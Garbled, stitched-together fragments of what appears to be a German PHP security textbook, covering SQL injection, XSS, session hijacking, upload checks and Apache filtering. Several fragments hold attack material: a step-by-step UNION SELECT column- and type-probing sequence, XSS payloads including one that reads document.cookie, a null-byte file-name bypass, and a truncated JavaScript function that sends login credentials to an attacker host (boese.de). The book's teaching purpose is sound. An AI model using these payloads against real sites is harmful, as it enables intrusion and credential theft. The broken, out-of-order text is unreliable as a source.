141. W hrend er von vielen als die Hauptsi cherung von PHP gegen Angreifer von innen gesehen wird prangern andere darunter auch prominente Mitglieder des PHP Teams Imple mentierungsl cken und konzeptionelle Fehler an 10 7 Safe Mode 223 In PHP 6 wird der Safe Mode nicht mehr existieren das ist das Ergebnis interner Diskussionen des Entwicklungsteams von PHP Ob ein neuer Mechanismus an seine Stelle treten oder existierende Sicher heitsfeatures etwa die open basedir Direktive einen gr eren Stel lenwert einnehmen wird stand zum Zeitpunkt der Drucklegung dieses Buches noch nicht fest Obgleich das Safe Mode Verfahren f r viele Zwecke ausreichend ist hat es einige zentrale Schw chen die hier nicht unerw hnt bleiben sollten Zum einen ist das Funktionieren von Safe Mode davon abh n gig dass PHP Funktionen die Dateien manipulieren safe mode aware sind also die vom Safe Mode gew nschten berpr fungen selbstst ndig durchf hren Zwar sind die meisten im Standardliefer umfang von PHP enthaltenen Funktionen safe mode f hig allerdings kann man dies l ngst nicht von allen Extensions behaupten Mit jeder zus tzlichen Extension die Sie vielleicht aus Neugier aus Kompatibilit tsgr nden oder auf Kundenwunsch in Ihre PHP Installation integrieren w chst die Gefahr dass die internen Security Mechanismen nicht beachtet werden Mit der cURL Extension die ansonsten sehr brauchbare und notwendige Funktionen ber
142. Was h ufig bersehen wird ist die Tatsache dass ORDER BY auch eine numerische Form haben kann In diesem Fall wird die Nummer einer Spalte und nicht der Name der Spalte referenziert Das bedeutet f r uns dass eine Injection mit 1110344 ORDER BY 1 genau so lange g ltig ist wie Name nur das einzige ausgelesene Datenfeld im Original SQL Statement ist Eine Injection von 1110344 ORDER BY 2 schl gt fehl weil das Ergebnis nicht nach seinem zweiten Feld sortiert werden kann Da eine SQL Abfrage immer mindestens ein Datenfeld auslesen muss kann das Verhalten bei einer Injection mit ORDER BY 1 beobach tet werden Danach muss man den ORDER BY Wert immer um eins erh hen ndert sich das Verhalten der Anwendung hat man die richtige Anzahl der Felder in Erfahrung gebracht 5 3 Syntax einer SQL Injection 135 Datentypen erkennen Hat ein Angreifer die Anzahl der Felder richtig in Erfahrung gebracht so muss er nun noch den richtigen Typ der Datenfelder erkennen Dies kann sich als schwierig erweisen denn die Typen der Datenfelder m s sen den Typen des Original SQL Statements entsprechen Bei einer geringen Anzahl von Feldern kann dieser Prozess mit Brute Force Methoden durchgef hrt werden aber wenn mehr Felder vorhanden sind kann man ein Problem bekommen Wie schon erw hnt gibt es drei m gliche Datentypen Number String und Date Bei zehn Daten feldern hat man genau 59 049 Kombinationsm glichkeiten um den Typ hera
143. X Powered By PHP 5 0 4 Connection close Content Type text html abahatchi Die Versionsinformationen k nnen in der Konfiguration des Apache Webservers mithilfe einer Konfigurationsoption untersagt werden sodass dieser kein Server Banner mehr ausliefert ServerTokens Prod Min OS Ful1 Steht die Option auf Prod wird nur der Produktname also Apache ausgegeben Bei Min also der Minimalausgabe wird Apache und die Versionsnummer ausgegeben 0S steht f r Operating System gibt also zus tzlich zu Apache und den Versionsinformationen noch eine Information ber das verwendete Betriebssystem aus Full zeigt zus tzlich noch die installierten Module an Was ist ein Server Banner Abb 2 1 Ausgabe von netcat Server Banner des Apache Webservers verstecken 20 2 Informationsgewinnung Apache Serversignatur unterdr cken Webserverbanner f lschen Server Banner des Internet Information Server verstecken Bei jeder Fehlermeldung die vom Apache Webserver kommt wird zus tzlich zum eigentlichen Fehler noch eine Unterschriftszeile mit ausgegeben Apache 1 3 33 Unix mod_ssl Soll diese Zeile unterdr ckt werden kann in der Konfigurationsdatei des Apache Webservers folgende Option ge ndert werden ServerSignature Off So wird eine Ausgabe der Serverinformationen im Fehlerfall ausge schaltet Sollen diese Informationen komplett versteckt oder sollen dem Angreif
144. XSS Angriffe Also sollten Sie stets vermeiden dass Endanwender direkten Einfluss auf die Style Attribute eines Dokumentes haben Sie k nnten so n m lich Skriptcode einschleusen unter anderem ber folgende Tricks lt DIV STYLE background image url javascript alert XSS gt lt DIV STYLE width expression alert XSS gt lt STYLE gt XSS background image url javascript alert XSS lt STYLE gt lt A CLASS XSS gt lt A gt Auch diese Beispiele f hrt lediglich der Internet Explorer klaglos aus Mozilla und Firefox lassen sich durch XSS in CSS CXSS sozusagen nicht aus dem Tritt bringen Wiegen Sie sich nicht in Sicherheit wenn Ihre Eingabefelder eine L ngenbeschr nkung haben In nur wenigen Zeichen kann eine erfolg reiche XSS Attacke per externer Datenquelle stattfinden Mit der Zeile lt script src http abc de gt wird von der Domain abc de das Indexdokument heruntergeladen und als JavaScript Datei verwendet Der gesamte Ausdruck ist nur 28 Zei chen kurz die Standardgr f e f r viele Textfelder z B Name und Adresse betr gt jedoch 30 Zeichen Das vollst ndige XSS Cheat Sheet bietet auch noch einen ber blick ber verschiedene Methoden URLs und sonstige Strings so zu maskieren dass auf regul ren Ausdr cken basierte Filter ausgetrickst werden Browser jedoch Skripte ausf hren So kann ein mit dem Zei chensatz UTF 8 codiertes Zeichen mit bis zu f nf Nullen versehen wer Weitere XSS Gele
145. _FILES _SERVER if isset _SESSION array _unshift superglobals _ SESSION knownglobals array Bekannte Superglobals und reservierte Variablen ENV HTTP_ENV_VARS GET HTTP_GET_VARS _POST HTTP_POST_VARS _COOKIE HTTP_COOKIE_VARS FILES HTTP_FILES_VARS SERVER _ HTTP_SERVER_VARS SESSION HTTP_SESSION_VARS REQUEST Variablen die hier verwendet werden superglobals knownglobals superglobal global void foreach superglobals as superglobal foreach superglobal as global gt void if in_array global knownglobals unset GLOBALS global Entwickeln Sie Applikationen unabh ngig von register_globals register_globals Die Option register_globals wird in PHP 6 voraussichtlich nicht mehr r ckg ngigmachen zur Verf gung stehen Entwickler m ssen dann alle Variablen aus den superglobalen Arrays _GET _POST COOKIE usw entnehmen 3 6 Fazit zl 3 6 Fazit Parametermanipulationen k nnen grofe Sch den bis hin zum Daten verlust verursachen Werden konsequente Pr fungen auf Typ L nge und Inhalt sowie das Konzept der Whitelist berpr fung eingesetzt lassen sich solche Sch den verhindern oder zumindest auf ein Mini mum reduzieren Um gepr fte Variablen von ungepr ften Variablen unterscheiden zu k nnen erstellen Sie ein Namensschema f r Variab len Beispielsweise die Variable sauber
146. _set_ cookie_params gesetzt werden Wird dies nicht beachtet dann kann ein Angreifer den Browser dazu verleiten das Cookie auch ber eine ungesicherte Verbindung zu senden Dies erm glicht dann wiederum das Abh ren Eine weitere seit PHP 5 2 0 empfohlene Ma nahme besteht darin das Session ID Cookie zus tzlich mit dem httpOnly Flag zu verse hen Dieses Flag besagt dass der Browser JavaScript den Zugriff auf das Cookie verbietet wodurch ein Hijacking per XSS verhindert wird Da das Flag eine nicht standardisierte Erweiterung ist wird es bisher nur vom Internet Explorer und von aktuellen Mozilla Versionen unterst tzt Browser die das Flag nicht kennen sollten es ignorieren Session Cookie sch tzen s2 7 Sessions Session ID durch einen Benutzer g ltig machen lassen 7 8 Session Fixation Session Fixation beschreibt ein Verfahren bei dem der Angreifer einem legitimen Benutzer einer Webanwendung eine bereits vorher erstellte Session ID unterschiebt Das bedeutet dass der Angreifer sich eine Ses sion ID ausdenkt die der User beglaubigt indem er sich mit eben die ser Session ID einloggt Damit hat der Angreifer Zugriff auf eine Ses sion da er die Session ID bereits kennt Diese gef lschte Session ID schickt er an einen Link angeh ngt an einen privilegierten Benutzer Der Benutzer klickt nun auf den Link und meldet sich eventuell in einem gesch tzten Bereich an Der Angrei fer kann nun die Session bern
147. ach jedes einzelne Datenfeld auf seinen Typ hin zu berpr fen Jedes dieser Datenfelder muss auf den Typ String Number oder Date hin berpr ft werden Die Erkennung des Datentyps ist nur f r MS SQL Server oder Oracle von Bedeutung NULL Schl sselwort verwenden Datentyp berpr fung auf Number String oder Date 36 5 SQL Injection Ziel erreicht Wir kennen die Datentypen Systemdateien mit LOAD_FILE auslesen Angenommen ID ist ein Integer und alle anderen Felder sind Strings dann sollten folgende Statements zu einem erfolgreichen Erra ten der Typen der Datenfelder f hren 1110344 UNION SELECT NULL NULL NULL NULL FROM Users WHERE 1 2 Kein Fehler Das bedeutet dass die Syntax stimmt 1110344 UNION SELECT 1 NULL NULL NULL FROM Users WHERE 1 2 Kein Fehler Erste Spalte ist ein Typ Number 1110344 UNION SELECT 1 2 NULL NULL FROM Users WHERE 1 2 Fehler Zweite Spalte ist kein Typ Number 1110344 UNION SELECT 1 2 NULL NULL FROM Users WHERE 1 2 Kein Fehler Zweite Spalte ist vom Typ String 1110344 UNION SELECT 1 2 3 NULL FROM Users WHERE 1 2 Fehler Dritte Spalte ist kein Typ Number 1110344 UNION SELECT 1 2 3 NULL FROM Users WHERE 1 2 Kein Fehler Dritte Spalte ist vom Typ String 1110344 UNION SELECT 1 2 3 4 FROM Users WHERE 1 2 Fehler Vierte Spalte ist nicht vom Typ Number 1110344 UNION SELECT 1 2 3 4 FROM Users WHERE 1 2 Kein
148. ache Webserver f r eine zunehmende Anzahl von Problemen verantwortlich sind und den Web server in ein Rootjail eingesperrt Auf der BSD Plattform sind der artige chroot Umgebungen sehr einfach zu erstellen da das Betriebs system alle notwendigen Werkzeuge selbst mitbringt Aus Sicherheits aspekten ist dieses Feature ein sehr gutes Argument f r BSD das zu Unrecht noch immer ein Schattendasein gegen ber dem wesentlich popul reren Linux f hrt Die Einrichtung eines BSD Rootjails f r Apache w rde den Rah men dieses Buches sprengen und wird in BSD Fachliteratur detailliert beschrieben 8 Michael W Lucas Absolute OpenBSD dpunkt verlag 2002 ISBN 978 1 886411 74 6 242 10 PHPintern 10 11 2 User Mode Linux Ein anderer Ansatz der streng genommen nichts mit einem klassischen Rootjail zu tun hat wird von dem Projekt User Mode Linux ver folgt Anstatt nur einzelne Anwendungen in eine abgeschottete Umge bung zu verfrachten werden mehrere komplette Linux Installationen auf einem Kernel betrieben Dieses virtuelle Linux erfreut sich mit tlerweile auch auf dem Hosting Markt als sogenannter VServer gro er Beliebtheit und bietet dem Kunden alle Vorteile einer eigenen Linux Umgebung Der Anbieter hingegen muss sich kaum Sorgen machen dass ein b swilliger Kunde oder ein externer Angreifer von den virtuellen Installationen in das Wirtssystem ausbrechen kann Fast s mtliche Funktionen eines normalen Linux S
149. al apach htdocs suexec logfile lt file gt Normalerweise legt suExec seine Log Dateien an derselben Stelle wie Apache ab M chten Sie dass dies an anderer Stelle geschieht k nnen Sie den voll qualifizierten Pfad zur Log Datei an dieser Stelle angeben suexec uidmin lt uid gt und suexec gidmin lt gid gt legen fest wel che Benutzer und Gruppen ID ein suExec Benutzer mindestens haben muss So k nnen Sie verhindern dass durch einen Konfigu rationsfehler ein virtueller Host mit dem Root oder einem anderen hoch berechtigten Benutzer ausgestattet wird M chten Sie nur bestimmte Teile der Umgebungsvariablen PATH an CGI Skripte bergeben dann k nnen Sie diese mit suexec safe path lt path gt festlegen Standardeinstellung ist usr bin usr local bin mehrere Pfade werden stets per voneinander getrennt Nach dieser einleitenden Konfiguration die leider nach dem Kom pilieren nicht mehr ge ndert werden kann kompilieren und installie ren Sie Apache wie gewohnt Im Bin rverzeichnis des Webservers fin den Sie nach der Installation nun zus tzlich die Datei suexec die fortan 10 7 Safe Mode 219 f r den Benutzerwechsel zust ndig sein wird Stellen Sie in jedem Fall sicher dass diese Datei das Set UID Bit besitzt und holen Sie dies ggf durch ein chmod s suexec nach FWS X X 1 root staff 10804 2005 08 14 17 54 suexec Das Einzige was Sie nun in der Webserver Konfiguration noch tun m ssen
150. alb au erhalb des Document Root also des Hauptverzeichnisses des Webservers gespeichert werden So kann verhindert werden dass diese ber den Browser aufgerufen werden Ein zus tzlicher Schutz besteht darin der oder den hochgeladenen Dateien zufallsgesteuerte Namen und die erwartete Dateiendung zu geben M gliche Fehlercodes beim Datei Upload move_uploaded_file Beispiel f r ein einfaches Hochladen von Dateien 130 8 Upload Formulare Sicherer Upload Bild berpr fung lt php extension substr strrehr _FILES filename name 1 if stristr extension gif extension gif elseif stristr extension png extension png elseif stristr extension jpg extension jpg else die newfilename md5 microtime rand 10000 32000 move _uploaded_file _FILES filename tmp_name usr local uploads newfilename extension gt Hiermit kann zwar auch schadhafter PHP Code in einem Bild auf den Server transportiert werden aber zur Ausf hrung kann er nicht gebracht werden Auch der Trick die Datei wie folgt zu benennen funktioniert nicht bild gif php bild php 00 gif Das Sonderzeichen 00 eine hexadezimale 0 ist das String Ende Kennzeichen auf Dateisystemebene Bei bild php 00 gif w rde eine Pr fung auf die Dateiendung gif in einem PHP Skript ein positives Ergebnis liefern Dieser String wird nun an das Dateisystem weiterge gebe
151. alidierung 75 HTTP Response Splitting 56 Manipulation von Formular daten 64 Parametermanipulation 48 51 Sessions 179 SQL Injection 126 Webscarab 48 334 Stichwortverzeichnis R register_argc_argv 316 register_globals 75 229 316 register_long_arrays 316 Remote Command Execution 59 Gefahrenpotenzial 321 Rembote Includes 250 Response Splitting Siehe HTTP Response Splitting 252 robots txt 33 Rootjails 241 BSD Rootjails 241 mod_security 293 Rootkit 211 329 runkit 229 S Safe Mode 219 Einrichtung 220 Probleme 222 safe_mode_exec_dir 221 safe_mode_include_dir 221 Umgebungsvariablen 222 safe_mode_exec_dir 221 safe_mode_include_dir 221 Sandbox 229 Security Audit 329 Security Ressourcen OWASP 15 PHP Sicherheit de 16 Serialisierung 210 Server Banner 19 Server Variablen 127 Session Riding 112 Sessions 171 Abwehrmethoden 182 Bruteforcing 179 Page Ticket System 182 permissive Systeme 173 restriktive Systeme 173 schwache Session ID Generie rungsalgorithmen 177 Session Fixation 182 Session Hijacking 180 Sessions Fortsetzung Session Dateien mit Cronjob l schen 184 Session ID aus dem Referrer l schen 184 Session Timeout 178 Speicherung 174 setcookie 56 settype 68 Sicherheitskonzepte 7 SQL Injection 6 11 27 51 54 121 165 Blind 123 Datenspalten z hlen 134 Datentypen erkennen 135 Denial of Service 137 Gefahrenpotenzial 320 LOAD FILE 136 Login Formulare 165 ORDER BY 138 Parameter B
152. alit tsbewertung zur ckgibt leider ist CrackLib selbst nur auf Englisch verf gbar k nnte so aussehen function checkpassword pw candidate dictfile var cache cracklib cracklib_dict if extension _loaded crack amp amp file _exists dictfile pwd dict crack_opendict dictfile if crack_check dict pw_candidate return TRUE else return crack _getlastmessage else if strlen pw_candidate lt 5 return Passwort zu kurz elseif preg match a z pw_candidate return Passwort besteht nur aus Kleinbuchstaben elseif preg match A Z pw_candidate return Passwort besteht nur aus Gro buchstaben elseif preg _match 0 9 pw_candidate return Passwort besteht nur aus Zahlen elseif count count_chars pw_candidate 1 lt 5 return Passwort enth lt nicht gen gend verschiedene Zeichen else 10 http www cotse com tools wordlists htm 6 2 Authentisierungssicherheit 157 return TRUE checked checkpassword Test1234 if checked TRUE echo Fehler checked else echo Passwort OK Findet die Funktion keine funktionsf hige CrackLib Extension weil entweder die Extension nicht geladen ist oder das angegebene Dictio nary File f r CrackLib nicht existiert greift sie auf einige sehr einfache Regeln f r Passwortsicherheit zur ck die auf L nge und Zusammen setzung des bergebenen S
153. als sehr sicher gelten den BSD Betriebssystemfamilie berlange Dateinamen die realpath auf BSD Systemen durcheinanderbringen werden von der Extension ebenfalls abgefangen 11 1 6 Funktions und Evaluationsbeschr nkungen Mit der Konfigurationsdirektive disable_functions in der php ini kann der Administrator missliebige Funktionen wie mysql_pconnect oder Funktionen die Sicherheitsprobleme aufwerfen k nnten wie etwa pcntl_fork passthru posix_setuid etc global f r die gesamte PHP Installation ausschalten Verwendet er auf seinem Web server mod_php ist dieser Schutz jedoch meist zu ambitioniert da gerade bei Hosting Servern viele verschiedene Produkte eingesetzt werden die teilweise sehr verschiedene Anforderungen haben L sst sich die eine PHP Software sehr gut ohne persistente Datenbankver bindungen benutzen funktioniert eine andere nur mit diesen Suppor taufwand ist vorprogrammiert Trotzdem m chte der Verwalter des Servers in der Regel einige Funktionen per Default deaktivieren sich aber weiterhin die M glich keit offenhalten sie bei Bedarf wieder einschalten zu k nnen Eine Art 11 PHP Hardening das zu bewerkstelligen ist die Umstellung auf CGI PHP bei dem f r jeden Kunden eine eigene php ini verwendet werden kann M chten Sie jedoch lieber mod_php weiterverwenden so l sen die in der Suho sin Extension eingebauten Positiv und Negativlisten f r Funktionen dieses Problem Mit ihrer Hilfe k nn
154. ameter module berpr ft um URLs herauszufiltern lautet eine Regel mit dem Regex Operator wie folgt SecRule ARG module rx http Genauso k nnen Sie jedoch auch schreiben SecRule ARG module http Mod_security interpretiert n mlich jegliches Argument zu einer Regel das nicht mit einem beginnt als regul ren Ausdruck damit sind die beiden oben stehenden Regeln quivalent Mit einigen numerischen Vergleichsoperatoren k nnen Sie pr fen ob ein Wert sich innerhalb eines bestimmten Wertebereichs befindet Die vorhandenen Vergleichsoperatoren sind eq pr ft auf numerische Gleichheit der bergebenen Variable und des Filterarguments ge gt pr fen ob die Variable echt gr er greater than bzw gr er oder gleich greater equal dem Filterargument ist Die Operatoren le und It dienen zur berpr fung ob eine Variable echt kleiner lower than oder kleiner gleich lower equal ist als das Filterargument In der Praxis ist ein solcher numerischer Filter n tzlich um etwa eine numerische ID vor der Weitergabe an die Datenbank zu berpr fen SecRule ARG pageid gt 0 12 4 mod_parmguard 299 Um zu berpr fen aus welchem Zeichenbereich eine Variable kommt und etwa NUL Bytes ohne eine spezielle Regel zu filtern k nnen Sie den Operator validateByteRange verwenden der mit zwei Parame tern n mlich dem Anfang und dem Ende des Byte Bereichs beide zwi schen 0 und 255 aufgerufe
155. ametern zu au er der Datei name des Skripts ist linklist php erstellen Die Aktion wird einfach ohne weitere Angaben hinter die Regel gestellt eine Prim raktion ist nicht notwendig pause Mit dieser Aktion unterbrechen Sie die Auswertung aller Filter f r die angegebene Anzahl Millisekunden Ein m g licher Einsatzzweck ist die Eind mmung von Kommentar Spam in einem G stebuch oder Blog der mittels ferngesteuer ter Rechner vorgenommen wird 288 12 Webserver Filter f r Apache Standardaktionen SecFilter SecFilterSelective Achtung W hrend der durch diese Aktion festgelegten Pause ist der jeweilige Webserverprozess stillgelegt Bewegt der Webserver sich am Rande der gleichzeitig m glichen Verbindungen k nnte hierdurch ein Denial of Service auftreten Beispiel SecFilterSelective POST_PAYLOAD Vlagra deny pause 2000 Mehrere Aktionen lassen sich miteinander kombinieren sofern sie sich nicht gegenseitig widersprechen Nacheinander die Aktion pass und deny auszuf hren ergibt nat rlich wenig Sinn es ist aber durchaus m glich etwa eine Pause einen Redirect und die Ausf hrung eines externen Skripts bei einem einzigen Filtertreffer anzusto en Eine ent sprechende Regel k nnte folgenderma en lauten SecFilterSelective QUERY_STRING Vlagra deny pause 2000 redirect http www heise de exec home absynth spamreport sh Um sich unn tige Schreibarbeit zu ersparen k nnen Sie bei der Kon
156. angemeldet haben und nun versuchen ber Session Erraten h her privilegierte Rechte zu erhalten IP Adressen oder Account sperren iso 7 Sessions Session ID in der URL Session ID in einem Cookie XSS Beispiel f r Session Diebstahl Session ID im Referrer 7 7 Session Hijacking Falls es einem Angreifer gelingt eine Session zu bernehmen oder die richtige Session ID zu erraten kann er die Identit t eines anderen Benutzers annehmen Dieser als Session Hijacking bekannte Angriff kann durch die Implementierung der richtigen Methoden entsch rft werden die je nach Applikation verschieden rigoros sein sollten Eine Onlinebank sollte sicher strengere Mechanismen implementieren als ein Webforum das sich mit der Zucht der Hommingberger Gepar denforelle befasst Die einfachste Art einer g ltigen Session ID habhaft zu werden ist der Weg ber die URL oder Cookies Dies kann zum Beispiel durch Mitlesen des Netzwerkverkehrs geschehen Aber auch der Verlaufs speicher in Browsern oder die Speicherung von URLs in den Favoriten bzw Bookmarks ist gef hrlich Wird dort eine Session ID gespeichert die eine beliebige oder zu lange G ltigkeitsdauer hat kann ein anderer Nutzer des Computers diese verwenden In Internetcaf s oder an ffentlichen Internetterminals ist es oft unm glich den Verlaufsspei cher des Browsers zu l schen Session Klau wird hier trivial einfach Ein wenig im Verlauf st bern und man findet
157. ass durch manipulierte Queries die Anwendung verschiedenartig rea giert Die verschiedenen Reaktionen dr cken sich meist durch Fehler meldungen aus Das Unterdr cken der Fehlermeldungen ist eine wei tere Implementierung des Ansatzes Security by Obscurity der sich in der Vergangenheit als nicht wirksam herausgestellt hat Dieser Ansatz geht davon aus dass SQL Injection nur mit einer Ausgabe einer Fehlermeldung funktionieren kann Unter dem Begriff Blind SQL Injection gibt es einen anderen Ansatz der ohne jegliche Fehler meldungen auskommt Dieser Ansatz interpretiert das Verhalten des Servers und der Applikation ohne Zuhilfenahme einer Fehlermeldung 5 2 Auffinden von SQL Injection M glichkeiten Um eine Applikation mittels einer SQL Injection anzugreifen muss man einen Parameter finden der an eine Datenbank bergeben und nicht korrekt validiert wird Dies kann per URL per Formular oder als Cookie Parameter passieren Aber auch die SERVER Variablen in PHP werden teilweise durch den Client gef llt und sind somit nder bar Ein Beispiel hier ist _SERVER HTTP_USER_AGENT Dieser Parame ter kann mithilfe von Browser Plugins ge ndert werden Felder in einer SQL Datenbank k nnen drei verschiedene Typen haben Number String oder Date F r eine SQL Injection ist es wich tig diese Typen von Parametern zu identifizieren In einem SQL State ment werden diese drei Typen unterschiedlich behandelt Ein Typ Number INT FLOAT u
158. au erdem mit dem Datum der letzten nderung und einer Versionsnummer ver sehen Repository Hier ist der Pfad ab dem Wurzelverzeichnis des Archivs angegeben Root In dieser Datei befindet sich der Username und der absolute Pfad des CVS Archivs auf dem CVS Server 2 8 Kommentare aus HTML Dateien 371 Diese Verzeichnisse und vor allem der Username k nnen f r einen Angreifer von Bedeutung sein wenn er weitere ffentliche Dateien sucht oder einen Authentifizierungsmechanismus angreifen m chte Sie k nnen verhindern dass das CVS Verzeichnis vom CVS Server angelegt wird indem Sie das fertige Webprojekt nicht per Checkout sondern als exportiertes Projekt auf den produktiven Server kopieren lassen Das geht mit dem Befehl cvs export lt projektname gt Projekte aus einem CVS Repository stets exportieren nicht als Checkout auf den Produktionsserver kopieren 2 7 4 Pfade verk rzen Wurden nun aus welchen Quellen auch immer gen gend Pfade gesammelt k nnen diese der Reihe nach in die Adressleiste des Brow sers eingegeben werden Erscheint eine Ansicht der Dateien kann man diese Dateien untersuchen und daraus weitere Informationen entneh men L ngere Pfade werden durch Verk rzen um jeweils eine Ebene bis zum Hauptverzeichnis evaluiert und weitere gefundene Pfade werden dann in die Liste der zu durchsuchenden Pfade aufgenommen www php sicherheit de include classes mail www php sicherheit de include classes
159. auch weil XSS die Angriffsklasse ist die die schnellsten und oft auch unterhaltsamsten Ergebnisse verspricht w hrend sie von einem gutwilligen Angreifer durchgef hrt keinen Schaden anrichtet In Foren IRC Chatr umen und auf allen Instant Messaging Platt formen kursieren fast t glich neue interessante Umgestaltungen popul rer und weniger beliebter Webseiten mittels JavaScript Vom Abb 4 1 XSS im LAN ss 4 Cross Site Scripting Anwendungen mit XSS Problemen Teilzeit Moderator und Sicherheitsexperten beim Privatfernsehen bis hin zu Routenplanungs Datenbanken oder gro en Konzernwebsei ten bleibt niemand verschont Oft sind die scherzhaften Angriffe jedoch Vorboten f r ernsthaftere Blackhat Aktionen wie Datenklau Phishing oder dauerhaftes Defacement Die Archive der Security Mailinglisten BugTraq und Full Disclos ure liefern eine F lle von XSS L cken Die Liste der vertretenen PHP Applikationen liest sich wie ein Who s who phpMyAdmin 2 9 0 2 erlaubte ber vier verschiedene XSS L cken die Anzeige beliebiger vom Benutzer vorgegebener Informationen Angreifer konnten so in den Besitz der Session Cookies eines Datenbank Administrators gelangen Der Banner Server phpAdsNew hatte in allen Versionen bis 2 0 8 ebenfalls mit XSS zu k mpfen Das beliebte Weblog Serendipity hatte im Administrationsinterface eine XSS L cke die in Versionen bis 1 0 1 die Einbettung von Scriptcode erlaubte
160. auen dass die f r einen Angreifer verf gbare Rechenleis tung nicht ausreichen wird um Ihren Verschl sselungsalgorithmus zu brechen Mit Seiten wie passcracking com und neuartigen zeitsparen den Brute Force Verfahren sind selbst MDS5 Passw rter in einer recht kurzen Zeit zu knacken Um zu einem tragf higen Sicherheitskonzept f r Ihre Firma oder auch nur Ihre privat entwickelte PHP Applikation zu gelangen sind einige Schritte notwendig Die tats chliche Absicherung Ihrer PHP Skripte ist nur einer dieser Schritte wenn auch der wichtigste Betreiben Sie eine dynamische Website auf einem eigenen Server m ssen Sie oder Ihre Mitarbeiter daf r sorgen dass nicht nur die ver wendeten PHP Anwendungen sicher sind sondern auch dass alle anderen von au en erreichbaren Dienste keine Angreifer hereinlassen Ihre Systeme sind nur so sicher wie das schw chste Glied in der Kette in vielen F llen ist das jedoch mit hei er Nadel gestrickte PHP Soft ware Einen kompletten Leitfaden zur Absicherung Ihrer Serversys teme zu schreiben w rde den Rahmen dieses Buches sprengen wir werden uns haupts chlich mit PHP und einigen von PHP verwendeten Subsystemen wie Web und Datenbankservern besch ftigen In einem Unternehmen das vertrauliche Informationen behandelt muss ein Sicherheitskonzept integraler Bestandteil der Firmenprozesse und politik sein Datenverluste oder schlimmer noch Datendieb st hle geh ren im Informationszeitalter zu
161. auf jeder Content 166 6 Authentisierung und Authentifizierung CAPTCHA Seite anbieten sondern den Kunden oder Benutzer Login auf einer separaten Seite unterbringen die Sie besonders gr ndlich auf XSS M glichkeiten pr fen Vor allem in den Variablen f r Benutzernamen und Passw rter sollten Sie nach solchen Fehlern suchen schlie lich wird der gew hlte Benutzername nach einem fehlgeschlagenen Login oftmals als Bestandteil der Fehlermeldung angezeigt Wenn Sie die superglobale Variable _REQUEST statt _POST oder _GET verwenden k nnen Angreifer einen Link pr parieren und ihn Ihren Benutzern unterschieben etwa so http ihredomain de login php user lt script gt alert document cookie lt script gt Damit ist es ohne Weiteres m glich Ihren Benutzern die f r einen Login notwendigen Credentials also ihre Zugangsberechtigung zu stehlen Weitere Informationen zur Vermeidung von XSS L cken fin den Sie im Kapitel 4 Cross Site Scripting Achten Sie bei Login Formularen besonders auf XSS M glichkeiten 6 4 Spamvermeidung mit CAPTCHAs F r Betreiber von G steb chern Foren Blogs und anderen Diensten bei denen Kommentarfunktionen die Eingabe eigener Daten erlauben ist in den vergangenen Jahren das Spamproblem zu einer erheblichen Bel stigung geworden Automatisiertes G stebuch Spammen mit Bots die mehrere Hundert Eintr ge pro Minute erzeugen k nnen ist keine Seltenheit mehr und l sst sich mit
162. aupt keinen Einfluss auf die benutzten Anwendungen Ein Webhoster der seinen Kunden verb te gekaufte oder freie L sungen einzusetzen s e bald vor leeren Servern Und so muss sich der Systembetreuer t glich mit PHP Nuke phpBB und ande ren Open oder Closed Source Produkten befassen deren Sicherheits konzepte in der Vergangenheit oft zu w nschen brig lie en Ein kompletter Code Audit aller Produkte um L cken selbst zu beheben und die Bugfixes den Entwicklern oder den eigenen Kunden bzw Benutzern zur Verf gung zu stellen kommt nat rlich aus Zeit 12 Webserver Filter f r Apache gr nden nicht infrage Den Nutzern diese Aufgabe aufzub rden ist ebenso indiskutabel diese werden den Mehraufwand nicht auf sich nehmen wollen Genauso wenig kann sich der Hoster darauf verlassen dass seine Kunden stets aktuelle Versionen der Software einspielen und durch Security Mailinglisten oder Foren stets ber die letzten Sicher heitsl cken Bescheid wissen Sobald sich mehr als eine Handvoll Benutzer auf dem System tum meln kann der Admin fest davon ausgehen dass zu jeder gegebenen Zeit mindestens eine Anwendung mit eklatanten Sicherheitsl cken aktiv ist und von Angreifern f r ihre finsteren Zwecke missbraucht werden kann Da es abgesehen von den in Kapitel 10 PHP Intern angesproche nen kaum sinnvolle interne Schutzma nahmen gibt die den Server vor einer Kompromittierung retten k nnen muss eine Art Schutzwall zwi sch
163. automatisch ohne dass dies explizit im Programm codiert sein m sste D Glossar 327 Hashalgorithmus Eine Hashfunktion ist eine Funktion die zu einer Eingabe aus einer blicherweise gro en Quellmenge eine Ausgabe aus einer im Allgemei nen kleineren Zielmenge die Hashwerte meist eine Teilmenge der nat r lichen Zahlen erzeugt Hidden Form Felder Hidden Form Felder sind versteckte Formularfelder Diese repr sentieren sich durch folgendes Tag lt input type hidden name Vorname gt Hostname Hostname auch Sitename wird der Name genannt der einen Rechner in seinem Netzwerk eindeutig bezeichnet Er wird vorwiegend bei elektroni schem Datenaustausch z B E Mail Usenet News ftp benutzt um den Kommunikationspartner in einem von Menschen les und merkbaren For mat anzugeben Die Umsetzung des Hostnamens in eine maschinenlesbare Adresse erfolgt im Internet heute vorwiegend ber das Domain Name Sys tem DNS HTTP Header Felder Zus tzliche Informationen wie Angaben ber den Browser zur gew nsch ten Sprache etc k nnen ber einen Header Kopfzeilen in jeder HTTP Kommunikation bertragen werden Intrusion Detection System Ein Intrusion Detection System IDS ist ein Programm das der Erken nung von Angriffen auf ein Computersystem oder Computernetz dient Richtig eingesetzt erg nzen sich eine Firewall und ein IDS und erh hen so die Sicherheit von Netzwerken Man unterscheidet netzwerkbasierte NID
164. beliebigen Login Seite der Ziel anwendung finden die es erlaubt beliebigen JavaScript Code in die Seite einzuf gen Die Benutzerdaten werden ohne Zutun des Anwenders ins Formular eingef gt und k nnen per DOM von dort auch wieder ausgelesen werden die Variable document forms 0 username value ent h lt den Benutzernamen und document forms 0 password value wird auf das Passwort gesetzt Konstruiert der Angreifer nun eine Funktion die diese Daten ausliest und an eine externe URL versendet kann er bequem per XSS Benutzerdaten sammeln Er muss lediglich daf r sor gen dass m glichst viele Benutzer der Zielsite auf einen vorher von ihm pr parierten Link klicken Es ist hierbei weder notwendig dass das oder die Opfer bereits ein geloggt sind damit ein Session Cookie existiert noch dass berhaupt 10 http www w3 org DOM 4 14 XSS Angriffe ber DOM 105 Cookies verwendet werden Die Benutzerdaten werden vor dem Login abgefangen Session Hijacking ist gar nicht mehr notwendig Ein blo er Besuch auf der angegriffenen Site reicht damit der Angreifer seine Attacke ausf hren kann Eine JavaScript Funktion die automatisch Benutzername und Passwort aus der verwundbaren Seite heraus an eine URL auf dem Ser ver des Angreifers bertr gt s he so aus lt script gt function getpw url http boese de gotpw php u document form username value amp p document form pw value location h
